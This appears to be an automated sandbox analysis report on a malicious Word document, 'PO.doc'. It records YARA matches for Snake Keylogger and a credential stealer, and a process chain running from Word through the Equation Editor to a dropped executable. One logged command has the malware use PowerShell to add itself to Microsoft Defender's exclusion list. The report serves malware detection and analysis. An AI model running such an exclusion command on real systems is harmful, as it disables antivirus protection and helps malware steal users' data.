Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E3C28 7_2_006E3C28
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E2121 7_2_006E2121
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E2130 7_2_006E2130
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E4308 7_2_006E4308
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E2B00 7_2_006E2B00
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E49E9 7_2_006E49E9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E2AF9 7_2_006E2AF9
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E50C8 7_2_006E50C8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E0ED8 7_2_006E0ED8
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_006E57A8 7_2_006E57A8
Yara signature match
Source: PO.doc, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: obisfd.exe PID: 3544, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: obisfd.exe PID: 3628, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6FfzLi8FyhIIqWu[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: obisfd.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, CTFYYSwldjLLtdLFTJ.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, CTFYYSwldjLLtdLFTJ.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, V9JX8gvNK4hEI9Xqap.cs Security API names: _0020.SetAccessControl
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, V9JX8gvNK4hEI9Xqap.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, V9JX8gvNK4hEI9Xqap.cs Security API names: _0020.AddAccessRule
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, V9JX8gvNK4hEI9Xqap.cs Security API names: _0020.SetAccessControl
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, V9JX8gvNK4hEI9Xqap.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, V9JX8gvNK4hEI9Xqap.cs Security API names: _0020.AddAccessRule
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, V9JX8gvNK4hEI9Xqap.cs Security API names: _0020.SetAccessControl
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, V9JX8gvNK4hEI9Xqap.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, V9JX8gvNK4hEI9Xqap.cs Security API names: _0020.AddAccessRule
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, CTFYYSwldjLLtdLFTJ.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winDOC@9/14@29/8
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$PO.doc Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRBF87.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<.......x........!.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<.......x........!.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<.......x.......5!.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<.......x.......B!.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<.......x.......V!.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<.......x.......b!.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................a.g.a.i.n.......4.......<................!.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<................!.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........!.........................s............X....... ....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<................!.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<................".........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<................".........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....8".........................s............X.......$....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<...............D".........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<...............\".........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<...............o".........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............X.......2....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<................".........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<................".........................s....................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<................#.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....4.......<...............5#.........................s............X............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....4.......<...............A#.........................s............X............................... Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: PO.doc ReversingLabs: Detection: 50%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\obisfd.exe "C:\Users\user\AppData\Roaming\obisfd.exe"
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obisfd.exe"
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process created: C:\Users\user\AppData\Roaming\obisfd.exe "C:\Users\user\AppData\Roaming\obisfd.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\obisfd.exe "C:\Users\user\AppData\Roaming\obisfd.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obisfd.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process created: C:\Users\user\AppData\Roaming\obisfd.exe "C:\Users\user\AppData\Roaming\obisfd.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
